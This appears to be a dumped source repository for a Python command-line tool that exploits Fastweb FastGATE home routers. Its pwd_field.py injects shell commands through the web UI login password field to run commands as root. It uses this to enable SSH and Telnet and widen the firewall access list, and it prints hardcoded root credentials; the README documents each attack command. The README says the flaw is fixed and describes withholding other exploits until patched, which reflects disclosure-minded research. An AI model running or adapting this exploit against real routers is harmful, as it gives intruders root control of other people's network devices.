├── fastgate ├── exploits │ ├── __init__.py │ └── pwd_field.py ├── __init__.py ├── utils.py ├── __main__.py ├── cli.py └── http_client.py ├── setup.py ├── .gitignore ├── README.md └── LICENSE /fastgate/exploits/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /fastgate/__init__.py: -------------------------------------------------------------------------------- 1 | from fastgate.exploits.pwd_field import * 2 | from .cli import cli -------------------------------------------------------------------------------- /fastgate/utils.py: -------------------------------------------------------------------------------- 1 | import random 2 | import string 3 | 4 | 5 | def random_string(length): 6 | letters = string.ascii_letters + string.digits 7 | return ''.join(random.choice(letters) for i in range(length)) -------------------------------------------------------------------------------- /fastgate/__main__.py: -------------------------------------------------------------------------------- 1 | import sys 2 | 3 | if __name__ == "__main__": 4 | from fastgate import cli 5 | args = sys.argv[1:] 6 | 7 | this_module = 'fastgate' 8 | 9 | name = 'python -m ' + this_module 10 | 11 | sys.argv = [name] + args 12 | 13 | cli() -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | from setuptools import setup, find_packages 2 | 3 | setup( 4 | name='FastGATE Tools', 5 | version='0.1', 6 | long_description=__doc__, 7 | packages=find_packages(), 8 | install_requires=['requests', 'Click'], 9 | entry_points=''' 10 | [console_scripts] 11 | fastgate=fastgate:cli 12 | ''', 13 | ) 14 | -------------------------------------------------------------------------------- /fastgate/cli.py: -------------------------------------------------------------------------------- 1 | import click 2 | 3 | from fastgate.exploits.pwd_field import PasswdFieldExploit 4 | 5 | 6 | @click.group() 7 | @click.option("--host", "-h", default="192.168.1.254", envvar="FASTGATE_HOST", required=False, 8 | help="IP address or hostname") 9 | @click.option("--port", "-p", default=80, envvar="FASTGATE_PORT", required=False, type=int, help="HTTP port") 10 | @click.pass_context 11 | def cli(ctx, host, port): 12 | ctx.obj = PasswdFieldExploit(host, port) 13 | 14 | 15 | @cli.command() 16 | @click.pass_obj 17 | def get_root(fgate): 18 | """Attempt to enable access to SSH/Telnet.""" 19 | fgate.get_root() 20 | 21 | 22 | @cli.command() 23 | @click.argument('cmd', type=str, nargs=-1) 24 | @click.pass_obj 25 | def shell(fgate, cmd): 26 | """Run command on router with shell injection (no output).""" 27 | _cmd = " ".join(cmd) 28 | fgate.shell(_cmd) 29 | 30 | 31 | @cli.command() 32 | @click.pass_obj 33 | def reboot(fgate): 34 | """Reboot router.""" 35 | fgate.shell("reboot") 36 | 37 | 38 | @cli.command() 39 | @click.option("--user", "-u", prompt="Username", help="Username") 40 | @click.option("--passwd", "-p", prompt="Password", help="Password", hide_input=True) 41 | @click.pass_obj 42 | def check_login(fgate, user, passwd): 43 | """Check web UI authentication.""" 44 | if fgate.check_login(user, passwd): 45 | print("Login successful") 46 | else: 47 | print("Login unsuccessful") 48 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | env/ 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | downloads/ 16 | eggs/ 17 | .eggs/ 18 | lib/ 19 | lib64/ 20 | parts/ 21 | sdist/ 22 | var/ 23 | wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *.cover 47 | .hypothesis/ 48 | 49 | # Translations 50 | *.mo 51 | *.pot 52 | 53 | # Django stuff: 54 | *.log 55 | local_settings.py 56 | 57 | # Flask stuff: 58 | instance/ 59 | .webassets-cache 60 | 61 | # Scrapy stuff: 62 | .scrapy 63 | 64 | # Sphinx documentation 65 | docs/_build/ 66 | 67 | # PyBuilder 68 | target/ 69 | 70 | # Jupyter Notebook 71 | .ipynb_checkpoints 72 | 73 | # pyenv 74 | .python-version 75 | 76 | # celery beat schedule file 77 | celerybeat-schedule 78 | 79 | # SageMath parsed files 80 | *.sage.py 81 | 82 | # dotenv 83 | .env 84 | 85 | # virtualenv 86 | .venv 87 | venv/ 88 | ENV/ 89 | 90 | # Spyder project settings 91 | .spyderproject 92 | .spyproject 93 | 94 | # Rope project settings 95 | .ropeproject 96 | 97 | # mkdocs documentation 98 | /site 99 | 100 | # mypy 101 | .mypy_cache/ 102 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # FastGATE Python tool 2 | See wiki for more info: https://github.com/Nimayer/fastgate-toolkit/wiki 3 | 4 | ## Note 5 | 6 | **The vulnerability exploited by this program has been fixed. While we've found many more vulnerabilities and exploited them, we will NOT release the exploits until they're fixed.** 7 | 8 | Python tools for Fastweb FastGATE exploits. 9 | 10 | ``` 11 | Usage: fastgate [OPTIONS] COMMAND [ARGS]... 12 | 13 | Options: 14 | -h, --host TEXT IP address or hostname 15 | -p, --port INTEGER HTTP port 16 | --help Show this message and exit. 17 | 18 | Commands: 19 | check_login Check web UI authentication. 20 | get_root Attempt to enable access to SSH/Telnet. 21 | reboot Reboot router. 22 | shell Run command on router with shell injection... 23 | ``` 24 | 25 | ## Installation 26 | 27 | ```sh 28 | pip install https://github.com/Depau/fastgate-python/archive/master.zip 29 | ``` 30 | 31 | ## Usage 32 | 33 | #### Enable SSH and Telnet from local network: 34 | 35 | ```sh 36 | fastgate get_root 37 | ``` 38 | You can then SSH to the router. Log in as `lanadmin`, `lanpasswd`. 39 | 40 | In the router's custom shell, run the `sh` hidden command and log in as `lanadmin`, `lanpasswd` or `FASTGate`, `Testplant123` to get a root shell. 41 | 42 | #### Reboot router 43 | 44 | ```sh 45 | fastgate reboot 46 | ``` 47 | 48 | #### Run command as root on router (uses web UI shell injection, no output) 49 | 50 | ```sh 51 | fastgate shell (command) 52 | # i.e. 53 | fastgate shell /usr/sbin/rc_task firewall restart 54 | fastgate shell /usr/sbin/rc_task sshd restart 55 | ``` 56 | 57 | #### Check web UI login 58 | 59 | ```sh 60 | fastgate check_login --u username -p password 61 | ``` 62 | or simply 63 | ```sh 64 | fastgate check_login 65 | ``` 66 | (you will be prompted for login info) 67 | 68 | # Credits 69 | 70 | - @Nimayer https://github.com/Nimayer/fastgate-toolkit 71 | -------------------------------------------------------------------------------- /fastgate/exploits/pwd_field.py: -------------------------------------------------------------------------------- 1 | from __future__ import print_function 2 | 3 | import time 4 | 5 | from fastgate.http_client import FastGateHTTPClient 6 | 7 | 8 | class PasswdFieldExploit(FastGateHTTPClient): 9 | 10 | def shell(self, cmd): 11 | cmd = "'; {} ; #".format(cmd) 12 | return self.login("culo", cmd) 13 | 14 | def get_root(self): 15 | print("Enabling SSH and Telnet daemons on local network") 16 | self.shell("/usr/sbin/stnvram set CWMPX_FASTWEB_AppCfgSshdAllowIF LAN ; /usr/sbin/stnvram commit") 17 | time.sleep(1) 18 | print("Granting access to SSH and Telnet from local network") 19 | self.shell("/usr/sbin/stnvram set CWMPX_FASTWEB_AppCfgTelnet_SSH_ACL 192.168.1.0/16 ; /usr/sbin/stnvram commit") 20 | time.sleep(1) 21 | print("Restarting SSH daemon") 22 | self.shell( 23 | "PATH='/home/bin:/home/scripts:/opt/bin:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/jamvm/bin:/opt/scripts' " 24 | "/usr/sbin/rc_task sshd restart") 25 | time.sleep(2) 26 | print("Restarting Telnet daemon") 27 | self.shell( 28 | "PATH='/home/bin:/home/scripts:/opt/bin:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/jamvm/bin:/opt/scripts' " 29 | "/usr/sbin/rc_task telnet restart") 30 | time.sleep(2) 31 | print("Restarting firewall") 32 | self.shell( 33 | "PATH='/home/bin:/home/scripts:/opt/bin:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/jamvm/bin:/opt/scripts' " 34 | "/usr/sbin/rc_task firewall restart") 35 | 36 | print("You should now be able to ssh/telnet {host}".format(host=self.host)) 37 | print("ssh lanadmin@{host} (password: 'lanpasswd')".format(host=self.host)) 38 | print() 39 | print("Once you get to the st_shell, execute the 'sh' hidden command to get a root shell.") 40 | print("Try following the following login information:") 41 | print("User: lanadmin\tPasswd: lanpasswd") 42 | print("User: FASTGate\tPasswd: Testplant123") 43 | -------------------------------------------------------------------------------- /fastgate/http_client.py: -------------------------------------------------------------------------------- 1 | import time 2 | 3 | import requests 4 | 5 | from fastgate.utils import random_string 6 | 7 | 8 | class FastGateHTTPClient(object): 9 | def __init__(self, host="192.168.1.254", port=80): 10 | self.host = host 11 | self.port = port 12 | self.seed = "{}pytester{}".format(int(time.time()), random_string(12)) 13 | self.session_key = "NULL" 14 | self.base_url = "/status.cgi" 15 | self.base_params = lambda: { 16 | "_": self.seed, 17 | "sessionKey": self.session_key 18 | } 19 | self.headers = {"X-XSRF-TOKEN": "ciao", "DNT": "1"} 20 | self.cookies = {"XSRF-TOKEN": "ciao"} 21 | 22 | def request(self, method, params={}, cookies={}, headers={}, **kwargs): 23 | _params = self.base_params() 24 | _params.update(params) 25 | _cookies = self.cookies.copy() 26 | _cookies.update(cookies) 27 | _headers = self.headers.copy() 28 | _headers.update(headers) 29 | 30 | url = "http://{host}:{port}{path}".format(host=self.host, port=self.port, path=self.base_url) 31 | 32 | return requests.request(method, url, params=_params, headers=_headers, cookies=_cookies, **kwargs) 33 | 34 | def get(self, *a, **kw): 35 | return self.request("GET", *a, **kw) 36 | 37 | def post(self, *a, **kw): 38 | return self.request("POST", *a, **kw) 39 | 40 | def login(self, user, passwd): 41 | params = { 42 | "cmd": "3", 43 | "nvget": "login_confirm", 44 | "username": user, 45 | "password": passwd 46 | } 47 | 48 | return self.get(params=params) 49 | 50 | def check_login(self, user, passwd): 51 | r = self.login(user, passwd) 52 | self.session_key = r.json()["login_confirm"]["check_session"] 53 | 54 | r = self.get(params={ 55 | "cmd": "4", 56 | "nvget": "login_confirm" 57 | }) 58 | 59 | return str(r.json()["login_confirm"]["login_status"]) == "1" 60 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. 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